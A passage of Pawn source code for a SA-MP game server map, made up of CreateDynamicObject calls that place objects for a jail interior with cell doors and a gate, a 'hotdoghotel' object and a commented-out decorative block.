	CreateDynamicObject(18694, -6442.28906, -1455.70752, 623.70392,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18694, -6434.35986, -1457.47693, 620.99042,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18694, -6436.93701, -1455.31750, 619.37164,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18691, -6442.31689, -1469.28345, 615.00000,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18691, -6448.72363, -1466.58984, 615.00000,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18691, -6441.86133, -1463.90576, 615.00000,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18691, -6445.91602, -1470.11829, 615.00000,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18691, -6442.30420, -1465.27515, 615.00000,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(12961, -6449.22656, -1466.87207, 617.18768,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(12961, -6440.56494, -1466.92114, 617.22882,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(12961, -6445.87793, -1464.07458, 617.18768,   0.00000, 0.00000, -83.10002);
	CreateDynamicObject(12961, -6442.30762, -1467.47290, 617.18768,   0.00000, 0.00000, -213.05995);
	CreateDynamicObject(2896, -6450.07031, -1463.83691, 617.32227,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(2896, -6448.34521, -1470.60645, 617.32227,   0.00000, 0.00000, 30.90000);
	CreateDynamicObject(2896, -6441.23535, -1467.74121, 617.32227,   0.00000, 0.00000, 30.90000);
	CreateDynamicObject(2896, -6441.44238, -1459.55920, 617.32227,   0.00000, 0.00000, -23.51999);
	CreateDynamicObject(2896, -6434.83984, -1475.57813, 617.32227,   0.00000, 0.00000, 65.64000);


	CreateDynamicObject(18690, -6439.25684, -1473.95081, 615.00000,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18690, -6443.38281, -1470.99524, 615.00000,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18690, -6439.48389, -1467.72058, 615.00000,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18690, -6435.98193, -1472.82239, 615.00000,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18690, -6454.72900, -1460.33362, 615.00000,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18690, -6454.29248, -1462.57239, 615.00000,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18690, -6454.81104, -1467.06445, 615.00000,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18690, -6453.89063, -1475.30664, 615.00000,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18690, -6440.27588, -1466.03503, 615.00000,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18690, -6441.74658, -1458.47009, 615.00000,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18690, -6435.91406, -1457.25073, 615.00000,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18690, -6441.33740, -1460.81458, 615.00000,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18690, -6441.87451, -1471.80164, 615.00000,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18690, -6442.02051, -1466.40527, 615.00000,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18690, -6448.19629, -1468.01685, 615.00000,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18690, -6442.00635, -1457.27063, 615.00000,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18690, -6446.59326, -1458.91638, 615.00000,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18690, -6443.99609, -1456.85168, 615.00000,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18690, -6445.04541, -1475.50977, 615.00000,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18690, -6439.50879, -1475.61060, 615.00000,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18690, -6447.49121, -1470.89172, 615.00000,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18690, -6441.56543, -1468.48596, 615.00000,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18690, -6446.70605, -1466.41162, 615.00000,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18690, -6449.47852, -1462.47803, 615.00000,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18690, -6449.50732, -1462.73987, 615.00000,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18690, -6451.77686, -1465.75586, 615.00000,   0.00000, 0.00000, 0.00000);




	CreateDynamicObject(3092, -6440.00000, -1472.25464, 617.37494,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(3092, -6445.73633, -1464.67529, 617.37494,   0.00000, 0.00000, 68.28001);
	CreateDynamicObject(3092, -6451.83008, -1468.82385, 617.37494,   0.00000, 0.00000, 22.32000);
	CreateDynamicObject(3092, -6452.46631, -1459.99915, 617.37494,   0.00000, 0.00000, 172.86008);
	CreateDynamicObject(3092, -6445.52637, -1459.60986, 617.37494,   0.00000, 0.00000, 172.86008);
	CreateDynamicObject(3092, -6439.16846, -1461.02649, 617.37494,   0.00000, 0.00000, 172.86008);
	CreateDynamicObject(3092, -6435.57910, -1469.54932, 617.37494,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(3092, -6448.13330, -1473.25525, 617.37494,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(3461, -6446.21826, -1471.52283, 616.68250,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(3461, -6444.91602, -1473.09875, 616.68250,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(3461, -6440.66162, -1472.22192, 616.68250,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(3461, -6439.23535, -1462.36047, 616.68250,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(3461, -6447.16113, -1461.87708, 616.68250,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(3461, -6451.81592, -1458.57092, 616.68250,   0.00000, 0.00000, 0.00000);


	CreateDynamicObject(18690, -6447.82471, -1468.52234, 615.00000,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18690, -6448.98340, -1468.17126, 616.00000,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18690, -6450.16553, -1469.09790, 615.00000,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18690, -6447.43115, -1471.92786, 615.00000,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18690, -6446.72021, -1471.78101, 615.00000,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18690, -6446.45996, -1470.24756, 615.00000,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18690, -6446.06787, -1469.60010, 615.00000,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18690, -6450.23584, -1472.04053, 615.00000,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18690, -6449.64795, -1473.03967, 615.00000,   0.00000, 0.00000, 0.00000);*/


 //============================hotdoghotel=====================================
	CreateDynamicObject(18880, 1669.35742, -54.06116, 35.05908,   0.00000, 0.00000, 0.00000);



   /*--------------------------------***JAIL***----------------------------------*/
	CreateDynamicObject(8661, 1784.43811, -1568.55273, 2000.46045,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(2139, 1763.12256, -1577.14709, 2000.44165,   0.00000, 0.00000, 180.00000);
	CreateDynamicObject(8614, 1758.65491, -1573.59729, 1995.13818,   0.00000, 0.00000, 90.00000);
	CreateDynamicObject(1713, 1763.26147, -1572.72510, 2000.44165,   0.00000, 0.00000, 90.00000);
	CreateDynamicObject(8661, 1784.46814, -1548.59204, 2003.80188,   180.00000, 0.00000, 0.00000);
	CreateDynamicObject(2205, 1760.15869, -1542.64697, 1992.46863,   0.00000, 0.00000, 90.00000);
	CreateDynamicObject(2008, 1779.37415, -1555.64258, 2000.34045,   0.00000, 0.00000, -90.00000);
	CreateDynamicObject(1713, 1765.91321, -1574.05725, 2000.44165,   0.00000, 0.00000, 180.00000);
	CreateDynamicObject(14819, 1804.34277, -1552.85974, 2001.42871,   0.00000, 0.00000, 90.00000);
	CreateDynamicObject(14401, 1762.36487, -1550.00195, 1992.92700,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(1713, 1766.93250, -1571.15576, 2000.44165,   0.00000, 0.00000, 270.00000);
	CreateDynamicObject(338, 1765.63586, -1565.68103, 2000.71094,   23.70000, 18.40000, -59.00000);
	CreateDynamicObject(1671, 1761.16467, -1541.53857, 1993.11523,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(338, 1764.70300, -1565.73999, 2000.71765,   23.70000, 18.40000, -12.90000);
	CreateDynamicObject(2136, 1762.13306, -1577.16882, 2000.45386,   0.00000, 0.00000, 180.00000);
	CreateDynamicObject(2135, 1760.97034, -1574.32849, 2000.44604,   0.00000, 0.00000, 90.00000);
	CreateDynamicObject(2139, 1760.96143, -1575.39722, 2000.44543,   0.00000, 0.00000, 90.00000);
	CreateDynamicObject(2140, 1760.63953, -1571.13464, 2000.44604,   0.00000, 0.00000, 90.00000);
	CreateDynamicObject(8661, 1784.46814, -1568.43274, 2003.80188,   180.00000, 0.00000, 0.00000);
	CreateDynamicObject(2164, 1765.29370, -1577.64941, 2000.43420,   0.00000, 0.00000, 180.00000);
	CreateDynamicObject(2163, 1760.36499, -1572.91687, 2002.09387,   0.00000, 0.00000, 90.00000);
	CreateDynamicObject(8661, 1784.46814, -1587.92224, 2003.80188,   180.00000, 0.00000, 0.00000);
	CreateDynamicObject(8661, 1744.51721, -1548.81519, 2003.80029,   180.00000, 0.00000, 0.00000);
	CreateDynamicObject(1713, 1764.28210, -1569.81506, 2000.44165,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(3962, 1765.06848, -1571.94287, 2000.50720,   0.00000, 90.00000, 180.00000);
	CreateDynamicObject(2429, 1761.86316, -1577.92078, 2001.56470,   0.00000, 0.00000, 180.00000);
	CreateDynamicObject(2964, 1765.19885, -1567.26611, 2000.44995,   0.00000, 0.00000, 90.00000);
	CreateDynamicObject(2008, 1782.63318, -1556.54492, 2000.34045,   0.00000, 0.00000, -90.00000);
	CreateDynamicObject(8661, 1804.47644, -1548.59204, 2004.17224,   0.00000, 270.00000, 0.00000);
	CreateDynamicObject(1800, 1748.50867, -1542.55762, 1996.35864,   0.00000, 0.00000, 90.00000);
	CreateDynamicObject(2208, 1780.44763, -1553.40234, 2000.28967,   0.00000, 0.00000, 326.00000);
	CreateDynamicObject(8661, 1784.46814, -1548.59204, 2004.17224,   180.00000, 0.00000, 0.00000);
	CreateDynamicObject(2208, 1782.68762, -1554.87402, 2000.28967,   0.00000, 0.00000, 270.00000);
	CreateDynamicObject(8661, 1784.43811, -1548.64124, 2000.46045,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(8661, 1804.47644, -1568.57214, 2004.17224,   0.00000, 270.00000, 0.00000);
	CreateDynamicObject(2208, 1782.68762, -1557.59460, 2000.28967,   0.00000, 0.00000, 270.00000);
	CreateDynamicObject(8661, 1794.13647, -1577.68970, 2004.17224,   0.00000, 270.00000, 270.00000);
	CreateDynamicObject(2208, 1782.64966, -1560.19434, 2000.28967,   0.00000, 0.00000, 214.00000);
	CreateDynamicObject(19358, 1772.10596, -1549.02026, 2002.20056,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(19358, 1770.58521, -1547.33008, 2002.20056,   0.00000, 0.00000, 90.00000);
	CreateDynamicObject(2208, 1778.37537, -1552.04004, 2000.28967,   0.00000, 0.00000, -33.30000);
	CreateDynamicObject(8661, 1774.42554, -1577.67957, 2004.17224,   0.00000, 270.00000, 270.00000);
	CreateDynamicObject(8661, 1784.46814, -1568.57397, 2004.17224,   180.00000, 0.00000, 0.00000);
	CreateDynamicObject(2208, 1780.46887, -1561.66553, 2000.28967,   0.00000, 0.00000, 214.00000);
	CreateDynamicObject(2008, 1762.06763, -1542.60278, 1992.61938,   0.00000, 0.00000, 180.00000);
	CreateDynamicObject(2008, 1779.43311, -1558.99243, 2000.34045,   0.00000, 0.00000, -90.00000);
	CreateDynamicObject(1671, 1778.32727, -1556.58948, 2000.75623,   0.00000, 0.00000, 90.00000);
	CreateDynamicObject(1671, 1781.38477, -1557.48901, 2000.75623,   0.00000, 0.00000, 90.00000);
	CreateDynamicObject(1671, 1778.32727, -1559.88965, 2000.75623,   0.00000, 0.00000, 90.00000);
	// Yard Panel

	CreateDynamicObject(2008, 1761.07874, -1563.86536, 2000.43701,   0.00000, 0.00000, 91.50000);
	CreateDynamicObject(1671, 1761.50171, -1562.84766, 2000.94409,   0.00000, 0.00000, -57.66001);

	// END
	JailGate = CreateDynamicObject(971, 1777.73840, -1543.09424, 2004.02185,   0.00000, 0.00000, 90.00000);
	CreateDynamicObject(8661, 1777.72534, -1557.36975, 2004.17224,   0.00000, 270.00000, 180.00000);
	CreateDynamicObject(19404, 1772.10596, -1552.36877, 2002.20056,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(3089, 1768.94519, -1543.43494, 2001.78503,   0.00000, 0.00000, 90.00000);
	CreateDynamicObject(19404, 1772.10596, -1555.70911, 2002.20056,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(19404, 1772.10596, -1572.38184, 2002.20056,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(19404, 1772.10596, -1559.04919, 2002.20056,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(1892, 1803.99744, -1554.11279, 2000.31946,   0.00000, 0.00000, 90.00000);
	CreateDynamicObject(19358, 1772.10596, -1550.69141, 2002.20056,   0.00000, 0.00000, 90.00000);
	CreateDynamicObject(19358, 1772.10596, -1554.02246, 2002.20056,   0.00000, 0.00000, 90.00000);
	CreateDynamicObject(19358, 1772.10596, -1557.39392, 2002.20056,   0.00000, 0.00000, 90.00000);
	CreateDynamicObject(19358, 1772.10596, -1560.71509, 2002.20056,   0.00000, 0.00000, 90.00000);
	CreateDynamicObject(19404, 1772.10596, -1562.37756, 2002.20056,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(19404, 1772.10596, -1565.72937, 2002.20056,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(19358, 1772.10596, -1564.04663, 2002.20056,   0.00000, 0.00000, 90.00000);
	CreateDynamicObject(19358, 1772.10596, -1567.39673, 2002.20056,   0.00000, 0.00000, 90.00000);
	CreateDynamicObject(19404, 1772.10596, -1569.06030, 2002.20056,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(19404, 1772.10596, -1575.74048, 2002.20056,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(19358, 1772.10596, -1570.72839, 2002.20056,   0.00000, 0.00000, 90.00000);
	CreateDynamicObject(19358, 1772.10596, -1574.05933, 2002.20056,   0.00000, 0.00000, 90.00000);
	CreateDynamicObject(19358, 1772.10596, -1578.94153, 2002.20056,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(1721, 1770.11218, -1552.34412, 2000.44055,   0.00000, 0.00000, 270.00000);
	CreateDynamicObject(2180, 1771.46460, -1552.83655, 2000.44983,   0.00000, 0.00000, 90.00000);
	CreateDynamicObject(2180, 1771.46460, -1556.18835, 2000.44983,   0.00000, 0.00000, 90.00000);
	CreateDynamicObject(2180, 1771.46460, -1559.51782, 2000.44983,   0.00000, 0.00000, 90.00000);
	CreateDynamicObject(2180, 1771.46460, -1566.21960, 2000.44983,   0.00000, 0.00000, 90.00000);
	CreateDynamicObject(2180, 1771.46460, -1562.85132, 2000.44983,   0.00000, 0.00000, 90.00000);
	CreateDynamicObject(2180, 1771.46460, -1569.55103, 2000.44983,   0.00000, 0.00000, 90.00000);
	CreateDynamicObject(2180, 1771.46460, -1572.86047, 2000.44983,   0.00000, 0.00000, 90.00000);
	CreateDynamicObject(2180, 1771.46460, -1576.23059, 2000.44983,   0.00000, 0.00000, 90.00000);
	CreateDynamicObject(1721, 1770.08215, -1555.75586, 2000.44055,   0.00000, 0.00000, 270.00000);
	CreateDynamicObject(1721, 1770.08215, -1559.02783, 2000.44055,   0.00000, 0.00000, 270.00000);
	CreateDynamicObject(1721, 1770.08215, -1562.38037, 2000.44055,   0.00000, 0.00000, 270.00000);
	CreateDynamicObject(3857, 1772.10107, -1554.43079, 2004.08081,   0.00000, 0.00000, -44.90002);
	CreateDynamicObject(1721, 1770.09961, -1565.75110, 2000.44055,   0.00000, 0.00000, 270.00000);
	CreateDynamicObject(1721, 1770.08215, -1569.04260, 2000.44055,   0.00000, 0.00000, 270.00000);
	CreateDynamicObject(1721, 1770.08215, -1572.37463, 2000.44055,   0.00000, 0.00000, 270.00000);
	CreateDynamicObject(3857, 1772.13367, -1561.06653, 2004.21191,   0.00000, 0.00000, -44.90002);
	CreateDynamicObject(1721, 1770.06445, -1575.75818, 2000.44055,   0.00000, 0.00000, 270.00000);
	CreateDynamicObject(1721, 1774.04272, -1552.34412, 2000.44055,   0.00000, 0.00000, 90.00000);
	CreateDynamicObject(3857, 1772.10144, -1567.66174, 2004.27051,   0.00000, 0.00000, -44.90002);
	CreateDynamicObject(2180, 1772.69519, -1551.90576, 2000.44983,   0.00000, 0.00000, 270.00000);
	CreateDynamicObject(3857, 1772.04077, -1577.38049, 2003.65149,   0.00000, 0.00000, -44.90002);
	CreateDynamicObject(1721, 1774.04272, -1555.68640, 2000.44055,   0.00000, 0.00000, 90.00000);
	CreateDynamicObject(2180, 1772.69519, -1555.23645, 2000.44983,   0.00000, 0.00000, 270.00000);
	CreateDynamicObject(2180, 1772.69519, -1561.90930, 2000.44983,   0.00000, 0.00000, 270.00000);
	CreateDynamicObject(2180, 1772.69519, -1558.55652, 2000.44983,   0.00000, 0.00000, 270.00000);
	CreateDynamicObject(2180, 1772.69519, -1568.58838, 2000.44983,   0.00000, 0.00000, 270.00000);
	CreateDynamicObject(2180, 1772.69519, -1565.26038, 2000.44983,   0.00000, 0.00000, 270.00000);
	CreateDynamicObject(2180, 1772.69519, -1571.88159, 2000.44983,   0.00000, 0.00000, 270.00000);
	CreateDynamicObject(2180, 1772.69519, -1575.24951, 2000.44983,   0.00000, 0.00000, 270.00000);
	CreateDynamicObject(1721, 1774.04272, -1559.03748, 2000.44055,   0.00000, 0.00000, 90.00000);
	CreateDynamicObject(1721, 1774.04272, -1562.33972, 2000.44055,   0.00000, 0.00000, 90.00000);
	CreateDynamicObject(1721, 1774.04272, -1565.76758, 2000.44055,   0.00000, 0.00000, 90.00000);
	CreateDynamicObject(1721, 1774.04272, -1572.41077, 2000.44055,   0.00000, 0.00000, 90.00000);
	CreateDynamicObject(1721, 1774.04272, -1569.05835, 2000.44055,   0.00000, 0.00000, 90.00000);
	CreateDynamicObject(1721, 1774.04272, -1575.69897, 2000.44055,   0.00000, 0.00000, 90.00000);
	//CreateDynamicObject(14387, 1763.18384, -1540.95886, 1999.31360,   0.00000, 0.00000, 180.00000);
	CreateDynamicObject(8661, 1777.72534, -1577.31995, 2004.17224,   0.00000, 270.00000, 180.00000);
	CreateDynamicObject(8661, 1794.61682, -1538.62170, 2004.17224,   0.00000, 270.00000, 90.00000);
	CreateDynamicObject(8661, 1774.66614, -1538.62170, 2004.17224,   0.00000, 270.00000, 90.00000);
	CreateDynamicObject(8661, 1777.72534, -1577.31995, 2004.17224,   0.00000, 270.00000, 0.00000);
	CreateDynamicObject(8661, 1777.72534, -1557.36975, 2004.17224,   0.00000, 270.00000, 0.00000);
	CreateDynamicObject(8661, 1754.69385, -1538.62170, 2004.17224,   0.00000, 270.00000, 90.00000);
	//CreateDynamicObject(14387, 1760.55188, -1540.95886, 1997.39172,   0.00000, 0.00000, 180.00000);
	CreateDynamicObject(8661, 1784.43811, -1567.84204, 2000.44104,   0.00000, 180.00000, 0.00000);
	CreateDynamicObject(8661, 1758.98669, -1536.14063, 1996.35950,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(8661, 1784.43811, -1550.19067, 2000.44104,   0.00000, 180.00000, 0.00000);
	ZendanInfo[1][ciObjID] = CreateDynamicObject(19302, 1751.70129, -1540.24060, 1997.60889,   0.00000, 0.00000, 270.00000);
	CreateDynamicObject(19302, 1751.70129, -1541.97168, 1997.60889,   0.00000, 0.00000, 90.00000);
	//CreateDynamicObject(7191, 1729.17505, -1543.24182, 1998.26892,   180.00000, 0.00000, 270.00000);
	CreateDynamicObject(8661, 1744.59875, -1553.29944, 2000.44104,   0.00000, 180.00000, 0.00000);
	CreateDynamicObject(970, 1759.77649, -1546.08191, 1996.86401,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(970, 1763.90723, -1546.08191, 1996.86401,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(19304, 1751.71753, -1545.43140, 1999.48071,   0.00000, 0.00000, 90.00000);
	CreateDynamicObject(19304, 1751.71753, -1541.11108, 1999.48071,   0.00000, 0.00000, 90.00000);
	CreateDynamicObject(8661, 1737.73669, -1556.12085, 1996.35950,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(970, 1757.71680, -1548.13135, 1996.86401,   0.00000, 0.00000, 90.00000);
	CreateDynamicObject(970, 1757.71680, -1552.24219, 1996.86401,   0.00000, 0.00000, 90.00000);
	CreateDynamicObject(970, 1757.71680, -1556.38281, 1996.86401,   0.00000, 0.00000, 90.00000);
	CreateDynamicObject(8661, 1754.62622, -1577.69946, 2004.17224,   0.00000, 270.00000, 270.00000);
	CreateDynamicObject(970, 1757.71680, -1560.49316, 1996.86401,   0.00000, 0.00000, 90.00000);
	CreateDynamicObject(970, 1757.71680, -1564.61438, 1996.86401,   0.00000, 0.00000, 90.00000);
	//CreateDynamicObject(14387, 1760.44299, -1540.95886, 1997.47791,   0.00000, 112.00000, 0.00000);
	//CreateDynamicObject(14387, 1763.18384, -1540.95886, 1999.29358,   0.00000, 112.00000, 0.00000);
	//CreateDynamicObject(14387, 1760.56763, -1540.95886, 1997.43835,   0.00000, 112.00000, 0.00000);
	/*CreateDynamicObject(14387, 1763.18384, -1540.95886, 1999.30200,   0.00000, 0.00000, 180.00000);
	CreateDynamicObject(14387, 1760.55188, -1540.95886, 1997.33167,   0.00000, 0.00000, 180.00000);
	CreateDynamicObject(14387, 1763.18384, -1540.95886, 1999.47095,   0.00000, 0.00000, 180.00000);
	CreateDynamicObject(14387, 1760.55188, -1540.95886, 1997.35168,   180.00000, 0.00000, 0.00000);
	CreateDynamicObject(14387, 1763.18384, -1540.95886, 1999.30200,   180.00000, 0.00000, 0.00000);
	CreateDynamicObject(14387, 1763.18384, -1540.95886, 1999.47095,   180.00000, 0.00000, 0.00000);*/
	CreateDynamicObject(14387, 1762.86365, -1540.95886, 1999.26184,   0.00000, 0.00000, 180.00000);
	CreateDynamicObject(14387, 1759.99194, -1540.95886, 1997.33167,   0.00000, 0.00000, 180.00000);
	CreateDynamicObject(14387, 1763.18384, -1540.95886, 1999.47095,   0.00000, 0.00000, 180.00000);
	CreateDynamicObject(14387, 1759.99194, -1540.95886, 1997.33167,   180.00000, 0.00000, 0.00000);
	CreateDynamicObject(14387, 1762.86365, -1540.95886, 1999.26184,   180.00000, 0.00000, 0.00000);
	CreateDynamicObject(14387, 1763.18384, -1540.95886, 1999.47095,   180.00000, 0.00000, 0.00000);
	CreateDynamicObject(8661, 1744.44739, -1553.25342, 2000.46045,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(8661, 1744.51746, -1573.06384, 2000.46045,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(8661, 1760.47070, -1548.56201, 2020.40800,   0.00000, 270.00000, 180.00000);
	CreateDynamicObject(8661, 1740.59802, -1533.31995, 2000.44104,   0.00000, 180.00000, 0.00000);
	CreateDynamicObject(8661, 1760.47070, -1568.53210, 2020.40800,   0.00000, 270.00000, 180.00000);
	CreateDynamicObject(8661, 1744.51721, -1568.57397, 2003.80444,   180.00000, 0.00000, 0.00000);
	CreateDynamicObject(8661, 1744.61743, -1548.66162, 2004.17224,   180.00000, 0.00000, 0.00000);
	CreateDynamicObject(8661, 1744.51721, -1568.34375, 2004.19226,   180.00000, 0.00000, 0.00000);
	//CreateDynamicObject(7191, 1729.17273, -1543.27271, 1998.26892,   0.00000, 0.00000, 90.00000);
	ZendanInfo[2][ciObjID] = CreateDynamicObject(19302, 1751.70129, -1544.54041, 1997.60889,   0.00000, 0.00000, 270.00000);
	CreateDynamicObject(19302, 1751.70129, -1546.24268, 1997.60889,   0.00000, 0.00000, 90.00000);
	//CreateDynamicObject(7191, 1729.17505, -1547.50330, 1998.26892,   180.00000, 0.00000, 270.00000);
	//CreateDynamicObject(7191, 1729.17273, -1547.53394, 1998.26892,   0.00000, 0.00000, 90.00000);
	ZendanInfo[3][ciObjID] = CreateDynamicObject(19302, 1751.70129, -1548.80164, 1997.60889,   0.00000, 0.00000, 270.00000);
	CreateDynamicObject(19302, 1751.70129, -1550.50366, 1997.60889,   0.00000, 0.00000, 90.00000);
	//CreateDynamicObject(7191, 1729.17505, -1551.78284, 1998.26892,   180.00000, 0.00000, 270.00000);
	CreateDynamicObject(19304, 1751.71753, -1549.63208, 1999.48071,   0.00000, 0.00000, 90.00000);
	//CreateDynamicObject(7191, 1729.17273, -1551.80554, 1998.26892,   0.00000, 0.00000, 90.00000);
	ZendanInfo[4][ciObjID] = CreateDynamicObject(19302, 1751.70129, -1553.07275, 1997.60889,   0.00000, 0.00000, 270.00000);
	CreateDynamicObject(19302, 1751.70129, -1554.80518, 1997.60889,   0.00000, 0.00000, 90.00000);
	//CreateDynamicObject(7191, 1729.17505, -1556.06409, 1998.26892,   180.00000, 0.00000, 270.00000);
	//CreateDynamicObject(7191, 1729.17273, -1556.08545, 1998.26892,   0.00000, 0.00000, 90.00000);
	CreateDynamicObject(19304, 1751.71753, -1553.95288, 1999.48071,   0.00000, 0.00000, 90.00000);
	ZendanInfo[5][ciObjID] = CreateDynamicObject(19302, 1751.70129, -1557.37256, 1997.60889,   0.00000, 0.00000, 270.00000);
	CreateDynamicObject(19302, 1751.70129, -1559.08618, 1997.60889,   0.00000, 0.00000, 90.00000);
	CreateDynamicObject(19304, 1751.71753, -1558.24463, 1999.48071,   0.00000, 0.00000, 90.00000);
	//CreateDynamicObject(7191, 1729.17273, -1560.31592, 1998.26892,   0.00000, 0.00000, 90.00000);
	//CreateDynamicObject(7191, 1729.17505, -1560.28528, 1998.26892,   180.00000, 0.00000, 270.00000);
	ZendanInfo[6][ciObjID] = CreateDynamicObject(19302, 1751.70129, -1561.57312, 1997.60889,   0.00000, 0.00000, 270.00000);
	CreateDynamicObject(19302, 1751.70129, -1563.26697, 1997.60889,   0.00000, 0.00000, 90.00000);
	CreateDynamicObject(19304, 1751.71753, -1562.46582, 1999.48071,   0.00000, 0.00000, 90.00000);
	//CreateDynamicObject(7191, 1729.17505, -1564.51587, 1998.26892,   180.00000, 0.00000, 270.00000);
	//CreateDynamicObject(7191, 1729.17273, -1564.54626, 1998.26892,   0.00000, 0.00000, 90.00000);
	CreateDynamicObject(8661, 1737.73669, -1576.10242, 1996.35950,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(8661, 1744.56812, -1573.02014, 2000.44104,   0.00000, 180.00000, 0.00000);
	ZendanInfo[7][ciObjID] = CreateDynamicObject(19302, 1751.70129, -1565.81433, 1997.60889,   0.00000, 0.00000, 270.00000);
	CreateDynamicObject(19302, 1751.70129, -1567.53760, 1997.60889,   0.00000, 0.00000, 90.00000);
	//CreateDynamicObject(7191, 1729.17505, -1568.82605, 1998.26892,   180.00000, 0.00000, 270.00000);
	//CreateDynamicObject(7191, 1729.17273, -1568.84680, 1998.26892,   0.00000, 0.00000, 90.00000);
	CreateDynamicObject(19304, 1751.71753, -1566.67578, 1999.48071,   0.00000, 0.00000, 90.00000);
	ZendanInfo[8][ciObjID] = CreateDynamicObject(19302, 1751.70129, -1570.12537, 1997.60889,   0.00000, 0.00000, 270.00000);
	CreateDynamicObject(19302, 1751.70129, -1571.83862, 1997.60889,   0.00000, 0.00000, 90.00000);
	//CreateDynamicObject(7191, 1729.17505, -1573.10706, 1998.26892,   180.00000, 0.00000, 270.00000);
	//CreateDynamicObject(7191, 1729.17273, -1573.14868, 1998.26892,   0.00000, 0.00000, 90.00000);
	CreateDynamicObject(19304, 1751.71753, -1570.99609, 1999.48071,   0.00000, 0.00000, 90.00000);
	ZendanInfo[9][ciObjID] = CreateDynamicObject(19302, 1751.70129, -1574.41589, 1997.60889,   0.00000, 0.00000, 270.00000);
	CreateDynamicObject(19302, 1751.70129, -1576.12830, 1997.60889,   0.00000, 0.00000, 90.00000);
	//CreateDynamicObject(7191, 1729.17505, -1577.38928, 1998.26892,   180.00000, 0.00000, 270.00000);
	CreateDynamicObject(19304, 1751.71753, -1575.27686, 1999.48071,   0.00000, 0.00000, 90.00000);
	CreateDynamicObject(970, 1757.71680, -1568.73560, 1996.86401,   0.00000, 0.00000, 90.00000);
	CreateDynamicObject(970, 1757.71680, -1572.84595, 1996.86401,   0.00000, 0.00000, 90.00000);
	CreateDynamicObject(8661, 1785.93579, -1556.08264, 1996.35950,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(970, 1765.96826, -1548.13196, 1996.86401,   0.00000, 0.00000, 90.00000);
	CreateDynamicObject(970, 1765.96826, -1552.25330, 1996.86401,   0.00000, 0.00000, 90.00000);
	CreateDynamicObject(970, 1765.96826, -1556.38367, 1996.86401,   0.00000, 0.00000, 90.00000);
	CreateDynamicObject(970, 1765.96826, -1560.51392, 1996.86401,   0.00000, 0.00000, 90.00000);
	CreateDynamicObject(970, 1765.96826, -1564.65381, 1996.86401,   0.00000, 0.00000, 90.00000);
	CreateDynamicObject(8661, 1785.86658, -1536.19275, 1996.35950,   0.00000, 180.00000, 0.00000);
